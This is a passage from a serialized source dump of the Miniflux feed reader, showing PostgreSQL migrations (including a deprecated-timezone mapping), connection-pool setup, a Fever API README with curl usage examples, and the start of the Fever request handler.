linktaco_tags text default '',\n\t\t\t\tADD COLUMN linktaco_visibility linktaco_link_visibility default 'PUBLIC';\n\t\t`\n\t\t_, err = tx.Exec(sql)\n\t\treturn err\n\t},\n\tfunc(tx *sql.Tx) (err error) {\n\t\tsql := `\n\t\t\tALTER TABLE integrations ADD COLUMN wallabag_tags text default '';\n\t\t`\n\t\t_, err = tx.Exec(sql)\n\t\treturn err\n\t},\n\t// This migration replaces deprecated timezones by their equivalent on Debian Trixie.\n\tfunc(tx *sql.Tx) (err error) {\n\t\tvar deprecatedTimeZoneMap = map[string]string{\n\t\t\t// Africa\n\t\t\t\"Africa/Asmera\": \"Africa/Asmara\",\n\n\t\t\t// America - Argentina\n\t\t\t\"America/Argentina/ComodRivadavia\": \"America/Argentina/Catamarca\",\n\t\t\t\"America/Buenos_Aires\":             \"America/Argentina/Buenos_Aires\",\n\t\t\t\"America/Catamarca\":                \"America/Argentina/Catamarca\",\n\t\t\t\"America/Cordoba\":                  \"America/Argentina/Cordoba\",\n\t\t\t\"America/Jujuy\":                    \"America/Argentina/Jujuy\",\n\t\t\t\"America/Mendoza\":                  \"America/Argentina/Mendoza\",\n\t\t\t\"America/Rosario\":                  \"America/Argentina/Cordoba\",\n\n\t\t\t// America - US\n\t\t\t\"America/Fort_Wayne\":   \"America/Indiana/Indianapolis\",\n\t\t\t\"America/Indianapolis\": \"America/Indiana/Indianapolis\",\n\t\t\t\"America/Knox_IN\":      \"America/Indiana/Knox\",\n\t\t\t\"America/Louisville\":   \"America/Kentucky/Louisville\",\n\n\t\t\t// America - Greenland\n\t\t\t\"America/Godthab\": \"America/Nuuk\",\n\n\t\t\t// Antarctica\n\t\t\t\"Antarctica/South_Pole\": \"Pacific/Auckland\",\n\n\t\t\t// Asia\n\t\t\t\"Asia/Ashkhabad\":     \"Asia/Ashgabat\",\n\t\t\t\"Asia/Calcutta\":      \"Asia/Kolkata\",\n\t\t\t\"Asia/Choibalsan\":    \"Asia/Ulaanbaatar\",\n\t\t\t\"Asia/Chungking\":     \"Asia/Chongqing\",\n\t\t\t\"Asia/Dacca\":         \"Asia/Dhaka\",\n\t\t\t\"Asia/Katmandu\":      \"Asia/Kathmandu\",\n\t\t\t\"Asia/Macao\":         \"Asia/Macau\",\n\t\t\t\"Asia/Rangoon\":       \"Asia/Yangon\",\n\t\t\t\"Asia/Saigon\":        \"Asia/Ho_Chi_Minh\",\n\t\t\t\"Asia/Thimbu\":        \"Asia/Thimphu\",\n\t\t\t\"Asia/Ujung_Pandang\": \"Asia/Makassar\",\n\t\t\t\"Asia/Ulan_Bator\":    \"Asia/Ulaanbaatar\",\n\n\t\t\t// Atlantic\n\t\t\t\"Atlantic/Faeroe\": \"Atlantic/Faroe\",\n\n\t\t\t// Australia\n\t\t\t\"Australia/ACT\":        \"Australia/Sydney\",\n\t\t\t\"Australia/LHI\":        \"Australia/Lord_Howe\",\n\t\t\t\"Australia/North\":      \"Australia/Darwin\",\n\t\t\t\"Australia/NSW\":        \"Australia/Sydney\",\n\t\t\t\"Australia/Queensland\": \"Australia/Brisbane\",\n\t\t\t\"Australia/South\":      \"Australia/Adelaide\",\n\t\t\t\"Australia/Tasmania\":   \"Australia/Hobart\",\n\t\t\t\"Australia/Victoria\":   \"Australia/Melbourne\",\n\t\t\t\"Australia/West\":       \"Australia/Perth\",\n\n\t\t\t// Brazil\n\t\t\t\"Brazil/Acre\":      \"America/Rio_Branco\",\n\t\t\t\"Brazil/DeNoronha\": \"America/Noronha\",\n\t\t\t\"Brazil/East\":      \"America/Sao_Paulo\",\n\t\t\t\"Brazil/West\":      \"America/Manaus\",\n\n\t\t\t// Canada\n\t\t\t\"Canada/Atlantic\":     \"America/Halifax\",\n\t\t\t\"Canada/Central\":      \"America/Winnipeg\",\n\t\t\t\"Canada/Eastern\":      \"America/Toronto\",\n\t\t\t\"Canada/Mountain\":     \"America/Edmonton\",\n\t\t\t\"Canada/Newfoundland\": \"America/St_Johns\",\n\t\t\t\"Canada/Pacific\":      \"America/Vancouver\",\n\t\t\t\"Canada/Saskatchewan\": \"America/Regina\",\n\t\t\t\"Canada/Yukon\":        \"America/Whitehorse\",\n\n\t\t\t// Europe\n\t\t\t\"CET\":               \"Europe/Paris\",\n\t\t\t\"EET\":               \"Europe/Sofia\",\n\t\t\t\"Europe/Kiev\":       \"Europe/Kyiv\",\n\t\t\t\"Europe/Uzhgorod\":   \"Europe/Kyiv\",\n\t\t\t\"Europe/Zaporozhye\": \"Europe/Kyiv\",\n\t\t\t\"MET\":               \"Europe/Paris\",\n\t\t\t\"WET\":               \"Europe/Lisbon\",\n\n\t\t\t// Chile\n\t\t\t\"Chile/Continental\":  \"America/Santiago\",\n\t\t\t\"Chile/EasterIsland\": \"Pacific/Easter\",\n\n\t\t\t// Fixed offset and generic zones\n\t\t\t\"CST6CDT\": \"America/Chicago\",\n\t\t\t\"EST\":     \"America/New_York\",\n\t\t\t\"EST5EDT\": \"America/New_York\",\n\t\t\t\"HST\":     \"Pacific/Honolulu\",\n\t\t\t\"MST\":     \"America/Denver\",\n\t\t\t\"MST7MDT\": \"America/Denver\",\n\t\t\t\"PST8PDT\": \"America/Los_Angeles\",\n\n\t\t\t// Countries/Regions\n\t\t\t\"Cuba\":      \"America/Havana\",\n\t\t\t\"Egypt\":     \"Africa/Cairo\",\n\t\t\t\"Eire\":      \"Europe/Dublin\",\n\t\t\t\"GB\":        \"Europe/London\",\n\t\t\t\"GB-Eire\":   \"Europe/London\",\n\t\t\t\"Hongkong\":  \"Asia/Hong_Kong\",\n\t\t\t\"Iceland\":   \"Atlantic/Reykjavik\",\n\t\t\t\"Iran\":      \"Asia/Tehran\",\n\t\t\t\"Israel\":    \"Asia/Jerusalem\",\n\t\t\t\"Jamaica\":   \"America/Jamaica\",\n\t\t\t\"Japan\":     \"Asia/Tokyo\",\n\t\t\t\"Libya\":     \"Africa/Tripoli\",\n\t\t\t\"Poland\":    \"Europe/Warsaw\",\n\t\t\t\"Portugal\":  \"Europe/Lisbon\",\n\t\t\t\"PRC\":       \"Asia/Shanghai\",\n\t\t\t\"ROC\":       \"Asia/Taipei\",\n\t\t\t\"ROK\":       \"Asia/Seoul\",\n\t\t\t\"Singapore\": \"Asia/Singapore\",\n\t\t\t\"Turkey\":    \"Europe/Istanbul\",\n\n\t\t\t// GMT variations\n\t\t\t\"GMT+0\":     \"GMT\",\n\t\t\t\"GMT-0\":     \"GMT\",\n\t\t\t\"GMT0\":      \"GMT\",\n\t\t\t\"Greenwich\": \"GMT\",\n\t\t\t\"UCT\":       \"UTC\",\n\t\t\t\"Universal\": \"UTC\",\n\t\t\t\"Zulu\":      \"UTC\",\n\n\t\t\t// Mexico\n\t\t\t\"Mexico/BajaNorte\": \"America/Tijuana\",\n\t\t\t\"Mexico/BajaSur\":   \"America/Mazatlan\",\n\t\t\t\"Mexico/General\":   \"America/Mexico_City\",\n\n\t\t\t// US zones\n\t\t\t\"Navajo\":            \"America/Denver\",\n\t\t\t\"US/Alaska\":         \"America/Anchorage\",\n\t\t\t\"US/Aleutian\":       \"America/Adak\",\n\t\t\t\"US/Arizona\":        \"America/Phoenix\",\n\t\t\t\"US/Central\":        \"America/Chicago\",\n\t\t\t\"US/Eastern\":        \"America/New_York\",\n\t\t\t\"US/East-Indiana\":   \"America/Indiana/Indianapolis\",\n\t\t\t\"US/Hawaii\":         \"Pacific/Honolulu\",\n\t\t\t\"US/Indiana-Starke\": \"America/Indiana/Knox\",\n\t\t\t\"US/Michigan\":       \"America/Detroit\",\n\t\t\t\"US/Mountain\":       \"America/Denver\",\n\t\t\t\"US/Pacific\":        \"America/Los_Angeles\",\n\t\t\t\"US/Samoa\":          \"Pacific/Pago_Pago\",\n\n\t\t\t// Pacific\n\t\t\t\"Kwajalein\":         \"Pacific/Kwajalein\",\n\t\t\t\"NZ\":                \"Pacific/Auckland\",\n\t\t\t\"NZ-CHAT\":           \"Pacific/Chatham\",\n\t\t\t\"Pacific/Enderbury\": \"Pacific/Kanton\",\n\t\t\t\"Pacific/Ponape\":    \"Pacific/Pohnpei\",\n\t\t\t\"Pacific/Truk\":      \"Pacific/Chuuk\",\n\n\t\t\t// Special cases\n\t\t\t\"Factory\": \"UTC\", // Factory is used for unconfigured systems\n\t\t\t\"W-SU\":    \"Europe/Moscow\",\n\t\t}\n\n\t\t// Loop through each user and correct the timezone\n\t\trows, err := tx.Query(`SELECT id, timezone FROM users`)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\n\t\tuserTimezoneMap := make(map[int64]string)\n\t\tfor rows.Next() {\n\t\t\tvar userID int64\n\t\t\tvar userTimezone string\n\t\t\tif err := rows.Scan(&userID, &userTimezone); err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\t\t\tuserTimezoneMap[userID] = userTimezone\n\t\t}\n\t\trows.Close()\n\n\t\tfor userID, userTimezone := range userTimezoneMap {\n\t\t\tif newTimezone, found := deprecatedTimeZoneMap[userTimezone]; found {\n\t\t\t\tif _, err := tx.Exec(`UPDATE users SET timezone = $1 WHERE id = $2`, newTimezone, userID); err != nil {\n\t\t\t\t\treturn err\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\treturn nil\n\t},\n\tfunc(tx *sql.Tx) (err error) {\n\t\tsql := `\n\t\t\tALTER TABLE integrations ADD COLUMN archiveorg_enabled bool default 'f'\n\t\t`\n\t\t_, err = tx.Exec(sql)\n\t\treturn err\n\t},\n\tfunc(tx *sql.Tx) (err error) {\n\t\tsql := `DROP EXTENSION IF EXISTS hstore;`\n\t\t_, err = tx.Exec(sql)\n\t\treturn err\n\t},\n\tfunc(tx *sql.Tx) (err error) {\n\t\tsql := `\n\t\t\tALTER TABLE integrations ADD COLUMN karakeep_tags text default '';\n\t\t`\n\t\t_, err = tx.Exec(sql)\n\t\treturn err\n\t},\n\tfunc(tx *sql.Tx) (err error) {\n\t\tsql := `\n\t\t\tALTER TABLE integrations ADD COLUMN linkwarden_collection_id int;\n\t\t`\n\t\t_, err = tx.Exec(sql)\n\t\treturn err\n\t},\n\tfunc(tx *sql.Tx) (err error) {\n\t\tsql := `\n\t\t\tALTER TABLE integrations ADD COLUMN readeck_push_enabled bool default 'f';\n\t\t`\n\t\t_, err = tx.Exec(sql)\n\t\treturn err\n\t},\n\tfunc(tx *sql.Tx) (err error) {\n\t\t// There is no need to keep an index on the content of deleted entries.\n\t\t_, err = tx.Exec(`DROP INDEX document_vectors_idx;`)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\n\t\tsql := `\n\t\t\tCREATE INDEX document_vectors_idx\n\t\t\t\tON entries\n\t\t\t\tUSING gin(document_vectors)\n\t\t\t\tWHERE status != 'removed';\n\t\t`\n\t\t_, err = tx.Exec(sql)\n\t\treturn err\n\t},\n\tfunc(tx *sql.Tx) (err error) {\n\t\t_, err = tx.Exec(`UPDATE user_sessions SET ip = '127.0.0.1'::inet WHERE ip IS NULL`)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t\t_, err = tx.Exec(`UPDATE user_sessions SET created_at = now() WHERE created_at IS NULL`)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t\t_, err = tx.Exec(`UPDATE user_sessions SET user_agent = '' WHERE user_agent IS NULL`)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t\t_, err = tx.Exec(`\n\t\t\tALTER TABLE user_sessions\n\t\t\t\tALTER COLUMN ip SET DEFAULT '127.0.0.1'::inet,\n\t\t\t\tALTER COLUMN ip SET NOT NULL,\n\t\t\t\tALTER COLUMN created_at SET DEFAULT now(),\n\t\t\t\tALTER COLUMN created_at SET NOT NULL,\n\t\t\t\tALTER COLUMN user_agent SET DEFAULT '',\n\t\t\t\tALTER COLUMN user_agent SET NOT NULL\n\t\t`)\n\t\treturn err\n\t},\n\tfunc(tx *sql.Tx) (err error) {\n\t\t_, err = tx.Exec(`ALTER TABLE feeds ADD COLUMN ignore_entry_updates bool default 'f'`)\n\t\treturn err\n\t},\n}\n"
  },
  {
    "path": "internal/database/postgresql.go",
    "content": "// SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved.\n// SPDX-License-Identifier: Apache-2.0\n\npackage database // import \"miniflux.app/v2/internal/database\"\n\nimport (\n\t\"database/sql\"\n\t\"time\"\n\n\t_ \"github.com/lib/pq\"\n)\n\n// NewConnectionPool configures the database connection pool.\nfunc NewConnectionPool(dsn string, minConnections, maxConnections int, connectionLifetime time.Duration) (*sql.DB, error) {\n\tdb, err := sql.Open(\"postgres\", dsn)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tdb.SetMaxOpenConns(maxConnections)\n\tdb.SetMaxIdleConns(minConnections)\n\tdb.SetConnMaxLifetime(connectionLifetime)\n\n\treturn db, nil\n}\n"
  },
  {
    "path": "internal/fever/README.md",
    "content": "# Miniflux Fever API\n\nThis document describes the Fever-compatible API implemented by the `internal/fever` package in this repository.\n\n## Endpoint\n\n- Path: `BASE_URL/fever/`\n- Methods: not restricted by the router; read requests are typically sent as `GET`, write requests should be sent as `POST`\n- Response format: JSON only\n- Reported API version: `3`\n\n## Authentication\n\nFever authentication is enabled per user from the Miniflux integrations page.\n\n- `Fever Username` and `Fever Password` are configured in Miniflux\n- Miniflux stores the Fever token as the MD5 hash of `username:password`\n- Clients authenticate by sending that token as the `api_key` parameter\n- Token lookup is case-insensitive\n\nExample:\n\n```text\napi_key = md5(\"fever_username:fever_password\")\n```\n\nExample shell command:\n\n```bash\nprintf '%s' 'fever_username:fever_password' | md5sum\n```\n\nAuthentication failure does not return HTTP 401. The middleware returns HTTP 200 with:\n\n```json\n{\n  \"api_version\": 3,\n  \"auth\": 0\n}\n```\n\nOn successful authentication, every response includes:\n\n- `api_version`: always `3`\n- `auth`: always `1`\n- `last_refreshed_on_time`: current server Unix timestamp at response time\n\n## Dispatch Rules\n\nThe handler selects the first matching operation in this order:\n\n1. `groups`\n2. `feeds`\n3. `favicons`\n4. `unread_item_ids`\n5. `saved_item_ids`\n6. `items`\n7. `mark=item`\n8. `mark=feed`\n9. `mark=group`\n\nIf no selector is provided, the server returns the base authenticated response only.\n\nFor read operations, the selector must be present in the query string. For write operations, `mark`, `as`, `id`, and `before` are read from request form values, so they may come from the query string or a form body.\n\n## Read Operations\n\n### `?groups`\n\nReturns:\n\n- `groups`: list of categories\n- `feeds_groups`: mapping of category IDs to feed IDs\n\nResponse shape:\n\n```json\n{\n  \"api_version\": 3,\n  \"auth\": 1,\n  \"last_refreshed_on_time\": 1710000000,\n  \"groups\": [\n    {\n      \"id\": 1,\n      \"title\": \"All\"\n    }\n  ],\n  \"feeds_groups\": [\n    {\n      \"group_id\": 1,\n      \"feed_ids\": \"10,11\"\n    }\n  ]\n}\n```\n\nNotes:\n\n- `groups` are Miniflux categories\n- `feeds_groups.feed_ids` is a comma-separated string\n- categories with no feeds are returned in `groups` but have no `feeds_groups` entry\n\n### `?feeds`\n\nReturns:\n\n- `feeds`: list of feeds\n- `feeds_groups`: mapping of category IDs to feed IDs\n\nFeed fields:\n\n- `id`\n- `favicon_id`\n- `title`\n- `url`\n- `site_url`\n- `is_spark`\n- `last_updated_on_time`\n\nNotes:\n\n- `favicon_id` is `0` when the feed has no icon\n- `is_spark` is always `0` in this implementation\n- `last_updated_on_time` is the feed check time as a Unix timestamp\n\n### `?favicons`\n\nReturns:\n\n- `favicons`: list of favicon objects\n\nFavicon fields:\n\n- `id`\n- `data`\n\nNotes:\n\n- `data` is a data URL such as `image/png;base64,...`\n\n### `?unread_item_ids`\n\nReturns:\n\n- `unread_item_ids`: comma-separated list of unread entry IDs\n\nResponse shape:\n\n```json\n{\n  \"api_version\": 3,\n  \"auth\": 1,\n  \"last_refreshed_on_time\": 1710000000,\n  \"unread_item_ids\": \"100,101,102\"\n}\n```\n\n### `?saved_item_ids`\n\nReturns:\n\n- `saved_item_ids`: comma-separated list of starred entry IDs\n\n### `?items`\n\nReturns:\n\n- `items`: list of entries\n- `total_items`: total number of non-removed entries for the user\n\nItem fields:\n\n- `id`\n- `feed_id`\n- `title`\n- `author`\n- `html`\n- `url`\n- `is_saved`\n- `is_read`\n- `created_on_time`\n\nThe implementation always excludes entries whose status is `removed`.\n\n#### Pagination and filtering\n\nThe handler applies a fixed limit of 50 items.\n\nSupported parameters:\n\n- `since_id`: when greater than `0`, returns entries with `id > since_id`, ordered by `id ASC`\n- `max_id`: when equal to `0`, returns the most recent entries ordered by `id DESC`; when greater than `0`, returns entries with `id < max_id`, ordered by `id DESC`\n- `with_ids`: comma-separated list of entry IDs to fetch\n\nSelector precedence inside `?items` is:\n\n1. `since_id`\n2. `max_id`\n3. `with_ids`\n4. no item filter\n\nNotes:\n\n- `with_ids` does not enforce the 50-ID maximum mentioned in older Fever documentation\n- invalid `with_ids` members are parsed as `0` and do not match normal entries\n- when `items` is requested without `since_id`, `max_id`, or `with_ids`, the code applies no explicit `ORDER BY`, so result ordering is not guaranteed by SQL\n- `html` is returned after Miniflux content rewriting and may include media-proxy-rewritten URLs\n\nExample:\n\n```json\n{\n  \"api_version\": 3,\n  \"auth\": 1,\n  \"last_refreshed_on_time\": 1710000000,\n  \"total_items\": 245,\n  \"items\": [\n    {\n      \"id\": 100,\n      \"feed_id\": 10,\n      \"title\": \"Example entry\",\n      \"author\": \"Author\",\n      \"html\": \"<p>Content</p>\",\n      \"url\": \"https://example.org/post\",\n      \"is_saved\": 0,\n      \"is_read\": 1,\n      \"created_on_time\": 1709990000\n    }\n  ]\n}\n```\n\n## Write Operations\n\nNormal successful write operations return the base authenticated response:\n\n```json\n{\n  \"api_version\": 3,\n  \"auth\": 1,\n  \"last_refreshed_on_time\": 1710000000\n}\n```\n\n### `mark=item`\n\nParameters:\n\n- `mark=item`\n- `id=<entry_id>`\n- `as=read|unread|saved|unsaved`\n\nBehavior:\n\n- `as=read`: marks the entry as read\n- `as=unread`: marks the entry as unread\n- `as=saved`: toggles the starred flag\n- `as=unsaved`: toggles the starred flag\n\nImportant:\n\n- `saved` and `unsaved` both call the same toggle operation\n- sending `as=saved` twice will save, then unsave\n- sending `as=unsaved` twice will unsave, then save\n- if `id <= 0`, the handler returns without writing a response body\n- if the entry does not exist or is already removed, the server returns the base response without an error\n\n### `mark=feed`\n\nParameters:\n\n- `mark=feed`\n- `as=read`\n- `id=<feed_id>`\n- `before=<unix_timestamp>`\n\nBehavior:\n\n- marks unread entries in the feed as read when `published_at < before`\n- the update runs asynchronously in a goroutine after the response is returned\n\nNotes:\n\n- if `id <= 0`, the handler returns without writing a response body\n- if `before` is missing or invalid, it is treated as Unix time `0`, which usually means nothing is marked as read\n\n### `mark=group`\n\nParameters:\n\n- `mark=group`\n- `as=read`\n- `id=<group_id>`\n- `before=<unix_timestamp>`\n\nBehavior:\n\n- `id=0`: marks all unread entries as read, ignoring `before`\n- `id>0`: marks unread entries in the matching category as read when `published_at < before`\n- the update runs asynchronously in a goroutine after the response is returned\n\nNotes:\n\n- group IDs map to Miniflux category IDs\n- if `id < 0`, the handler returns without writing a response body\n- if `before` is missing or invalid for `id>0`, it is treated as Unix time `0`, which usually means nothing is marked as read\n\n## Error Handling\n\nAuthentication failures:\n\n- HTTP status: `200`\n- body: `{\"api_version\":3,\"auth\":0}`\n\nInternal errors:\n\n- HTTP status: `500`\n- body:\n\n```json\n{\n  \"error_message\": \"...\"\n}\n```\n\n## Differences From Generic Fever Documentation\n\nThis implementation is Fever-compatible, but it does not match every detail of historical Fever API docs.\n\n- Responses are always JSON; `api=xml` is mentioned in code comments but is not implemented\n- `api_version` is `3`\n- `last_refreshed_on_time` is set to the current response time, not the timestamp of the most recently refreshed feed\n- the `Kindling` and `Sparks` super groups are not returned\n- `feeds[].is_spark` is always `0`\n- item ordering without explicit pagination parameters is unspecified\n- `as=saved` and `as=unsaved` toggle the saved flag instead of setting it absolutely\n\n## Examples\n\nFetch groups:\n\n```bash\ncurl -s 'https://miniflux.example.com/fever/?api_key=TOKEN&groups'\n```\n\nFetch most recent items:\n\n```bash\ncurl -s 'https://miniflux.example.com/fever/?api_key=TOKEN&items&max_id=0'\n```\n\nFetch items after a known ID:\n\n```bash\ncurl -s 'https://miniflux.example.com/fever/?api_key=TOKEN&items&since_id=123'\n```\n\nMark an item as read:\n\n```bash\ncurl -s -X POST 'https://miniflux.example.com/fever/' \\\n  -d 'api_key=TOKEN' \\\n  -d 'mark=item' \\\n  -d 'as=read' \\\n  -d 'id=123'\n```\n\nMark a feed as read before a timestamp:\n\n```bash\ncurl -s -X POST 'https://miniflux.example.com/fever/' \\\n  -d 'api_key=TOKEN' \\\n  -d 'mark=feed' \\\n  -d 'as=read' \\\n  -d 'id=10' \\\n  -d 'before=1710000000'\n```\n\nMark all items as read through the group endpoint:\n\n```bash\ncurl -s -X POST 'https://miniflux.example.com/fever/' \\\n  -d 'api_key=TOKEN' \\\n  -d 'mark=group' \\\n  -d 'as=read' \\\n  -d 'id=0'\n```\n"
  },
  {
    "path": "internal/fever/handler.go",
    "content": "// SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved.\n// SPDX-License-Identifier: Apache-2.0\n\npackage fever // import \"miniflux.app/v2/internal/fever\"\n\nimport (\n\t\"log/slog\"\n\t\"net/http\"\n\t\"strconv\"\n\t\"strings\"\n\t\"time\"\n\n\t\"miniflux.app/v2/internal/http/request\"\n\t\"miniflux.app/v2/internal/http/response\"\n\t\"miniflux.app/v2/internal/integration\"\n\t\"miniflux.app/v2/internal/mediaproxy\"\n\t\"miniflux.app/v2/internal/model\"\n\t\"miniflux.app/v2/internal/storage\"\n)\n\n// NewHandler returns an http.Handler for Fever API calls.\nfunc NewHandler(store *storage.Storage) http.Handler {\n\th := &feverHandler{store: store}\n\treturn http.HandlerFunc(h.serve)\n}\n\ntype feverHandler struct {\n\tstore *storage.Storage\n}\n\nfunc (h *feverHandler) serve(w http.ResponseWriter, r *http.Request) {\n\tswitch {\n\tcase request.HasQueryParam(r, \"groups\"):\n\t\th.handleGroups(w, r)\n\tcase request.HasQueryParam(r, \"feeds\"):\n\t\th.handleFeeds(w, r)\n\tcase request.HasQueryParam(r, \"favicons\"):\n\t\th.handleFavicons(w, r)\n\tcase request.HasQueryParam(r, \"unread_item_ids\"):\n\t\th.handleUnreadItems(w, r)\n\tcase request.HasQueryParam(r, \"saved_item_ids\"):\n\t\th.handleSavedItems(w, r)\n\tcase request.HasQueryParam(r, \"items\"):\n\t\th.handleItems(w, r)\n\tcase r.FormValue(\"mark\") == \"item\":\n\t\th.handleWriteItems(w, r)\n\tcase r.FormValue(\"mark\") == \"feed\":\n\t\th.handleWriteFeeds(w, r)\n\tcase r.FormValue(\"mark\") == \"group\":\n\t\th.handleWriteGroups(w, r)\n\tdefault:\n\t\tresponse.JSON(w, r, newBaseResponse())\n\t}\n}\n\n/*\nA request with the groups argument will return two additional members:\n\n\tgroups contains an array of group objects\n\tfeeds_groups contains an array of feeds_group objects\n\nA group object has the following members:\n\n\tid (positive integer)\n\ttitle (utf-8 string)\n\nThe feeds_group object is documented under “Feeds/Groups Relationships.”\n\nThe “Kindling” super group is not included in this response and is composed of all feeds with\nan is_spark equal to 0.\n\nThe “Sparks” super group is not included in this response and is composed of all feeds with an\nis_spark equal to 1.\n*/\nfunc (h *feverHandler) handleGroups(w http.ResponseWriter, r *http.Request) {\n\tuserID := request.UserID(r)\n\tslog.Debug(\"[Fever] Fetching groups\",\n\t\tslog.Int64(\"user_id\", userID),\n\t)\n\n\tcategories, err := h.store.Categories(userID)\n\tif err != nil {\n\t\tresponse.JSONServerError(w, r, err)\n\t\treturn\n\t}\n\n\tfeeds, err := h.store.Feeds(userID)\n\tif err != nil {\n\t\tresponse.JSONServerError(w, r, err)\n\t\treturn\n\t}\n\n\tvar result groupsResponse\n\tfor _, category := range categories {\n\t\tresult.Groups = append(result.Groups, group{ID: category.ID, Title: category.Title})\n\t}\n\n\tresult.FeedsGroups = buildFeedGroups(feeds)\n\tresult.SetCommonValues()\n\tresponse.JSON(w, r, result)\n}\n\n/*\nA request with the feeds argument will return two additional members:\n\n\tfeeds contains an array of group objects\n\tfeeds_groups contains an array of feeds_group objects\n\nA feed object has the following members:\n\n\tid (positive integer)\n\tfavicon_id (positive integer)\n\ttitle (utf-8 string)\n\turl (utf-8 string)\n\tsite_url (utf-8 string)\n\tis_spark (boolean integer)\n\tlast_updated_on_time (Unix timestamp/integer)\n\nThe feeds_group object is documented under “Feeds/Groups Relationships.”\n\nThe “All Items” super feed is not included in this response and is composed of all items from all feeds\nthat belong to a given group. For the “Kindling” super group and all user created groups the items\nshould be limited to feeds with an is_spark equal to 0.\n\nFor the “Sparks” super group the items should be limited to feeds with an is_spark equal to 1.\n*/\nfunc (h *feverHandler) handleFeeds(w http.ResponseWriter, r *http.Request) {\n\tuserID := request.UserID(r)\n\tslog.Debug(\"[Fever] Fetching feeds\",\n\t\tslog.Int64(\"user_id\", userID),\n\t)\n\n\tfeeds, err := h.store.Feeds(userID)\n\tif err != nil {\n\t\tresponse.JSONServerError(w, r, err)\n\t\treturn\n\t}\n\n\tvar result feedsResponse\n\tresult.Feeds = make([]feed, 0, len(feeds))\n\tfor _, f := range feeds {\n\t\tsubscription := feed{\n\t\t\tID:          f.ID,\n\t\t\tTitle:       f.Title,\n\t\t\tURL:         f.FeedURL,\n\t\t\tSiteURL:     f.SiteURL,\n\t\t\tIsSpark:     0,\n\t\t\tLastUpdated: f.CheckedAt.Unix(),\n\t\t}\n\n\t\tif f.Icon != nil {\n\t\t\tsubscription.FaviconID = f.Icon.IconID\n\t\t}\n\n\t\tresult.Feeds = append(result.Feeds, subscription)\n\t}\n\n\tresult.FeedsGroups = buildFeedGroups(feeds)\n\tresult.SetCommonValues()\n\tresponse.JSON(w, r, result)\n}\n\n/*\nA request with the favicons argument will return one additional member:\n\n\tfavicons contains an array of favicon objects\n\nA favicon object has the following members:\n\n\tid (positive integer)\n\tdata (base64 encoded image data; prefixed by image type)\n\nAn example data value:\n\n\timage/gif;base64,R0lGODlhAQABAIAAAObm5gAAACH5BAEAAAAALAAAAAABAAEAAAICRAEAOw==\n\nThe data member of a favicon object can be used with the data: protocol to embed an image in CSS or HTML.\nA PHP/HTML example:\n\n\techo '<img src=\"data:'.$favicon['data'].'\">';\n*/\nfunc (h *feverHandler) handleFavicons(w http.ResponseWriter, r *http.Request) {\n\tuserID := request.UserID(r)\n\tslog.Debug(\"[Fever] Fetching favicons\",\n\t\tslog.Int64(\"user_id\", userID),\n\t)\n\n\ticons, err := h.store.Icons(userID)\n\tif err != nil {\n\t\tresponse.JSONServerError(w, r, err)\n\t\treturn\n\t}\n\n\tvar result faviconsResponse\n\tfor _, i := range icons {\n\t\tresult.Favicons = append(result.Favicons, favicon{\n\t\t\tID:   i.ID,\n\t\t\tData: i.DataURL(),\n\t\t})\n\t}\n\n\tresult.SetCommonValues()\n\tresponse.JSON(w, r, result)\n}\n\n/*\nA request with the items argument will return two additional members:\n\n\titems contains an array of item objects\n\ttotal_items contains the total number of items stored in the database (added in API version 2)\n\nAn item object has the following members:\n\n\tid (positive integer)\n\tfeed_id (positive integer)\n\ttitle (utf-8 string)\n\tauthor (utf-8 string)\n\thtml (utf-8 string)\n\turl (utf-8 string)\n\tis_saved (boolean integer)\n\tis_read (boolean integer)\n\tcreated_on_time (Unix timestamp/integer)\n\nMost servers won’t have enough memory allocated to PHP to dump all items at once.\nThree optional arguments control determine the items included in the response.\n\n\tUse the since_id argument with the highest id of locally cached items to request 50 additional items.\n\tRepeat until the items array in the response is empty.\n\n\tUse the max_id argument with the lowest id of locally cached items (or 0 initially) to request 50 previous items.\n\tRepeat until the items array in the response is empty. (added in API version 2)\n\n\tUse the with_ids argument with a comma-separated list of item ids to request (a maximum of 50) specific items.\n\t(added in API version 2)\n*/\nfunc (h *feverHandler) handleItems(w http.ResponseWriter, r *http.Request) {\n\tvar result itemsResponse\n\n\tuserID := request.UserID(r)\n\n\tbuilder := h.store.NewEntryQueryBuilder(userID)\n\tbuilder.WithoutStatus(model.EntryStatusRemoved)\n\tbuilder.WithLimit(50)\n\n\tswitch {\n\tcase request.HasQueryParam(r, \"since_id\"):\n\t\tsinceID := request.QueryInt64Param(r, \"since_id\", 0)\n\t\tif sinceID > 0 {\n\t\t\tslog.Debug(\"[Fever] Fetching items since a given date\",\n\t\t\t\tslog.Int64(\"user_id\", userID),\n\t\t\t\tslog.Int64(\"since_id\", sinceID),\n\t\t\t)\n\t\t\tbuilder.AfterEntryID(sinceID)\n\t\t\tbuilder.WithSorting(\"id\", \"ASC\")\n\t\t}\n\tcase request.HasQueryParam(r, \"max_id\"):\n\t\tmaxID := request.QueryInt64Param(r, \"max_id\", 0)\n\t\tif maxID == 0 {\n\t\t\tslog.Debug(\"[Fever] Fetching most recent items\",\n\t\t\t\tslog.Int64(\"user_id\", userID),\n\t\t\t)\n\t\t\tbuilder.WithSorting(\"id\", \"DESC\")\n\t\t} else if maxID > 0 {\n\t\t\tslog.Debug(\"[Fever] Fetching items before a given item ID\",\n\t\t\t\tslog.Int64(\"user_id\", userID),\n\t\t\t\tslog.Int64(\"max_id\", maxID),\n\t\t\t)\n\t\t\tbuilder.BeforeEntryID(maxID)\n\t\t\tbuilder.WithSorting(\"id\", \"DESC\")\n\t\t}\n\tcase request.HasQueryParam(r, \"with_ids\"):\n\t\tcsvItemIDs := request.QueryStringParam(r, \"with_ids\", \"\")\n\t\tif csvItemIDs != \"\" {\n\t\t\tvar itemIDs []int64\n\n\t\t\tfor strItemID := range strings.SplitSeq(csvItemIDs, \",\") {\n\t\t\t\tstrItemID = strings.TrimSpace(strItemID)\n\t\t\t\titemID, _ := strconv.ParseInt(strItemID, 10, 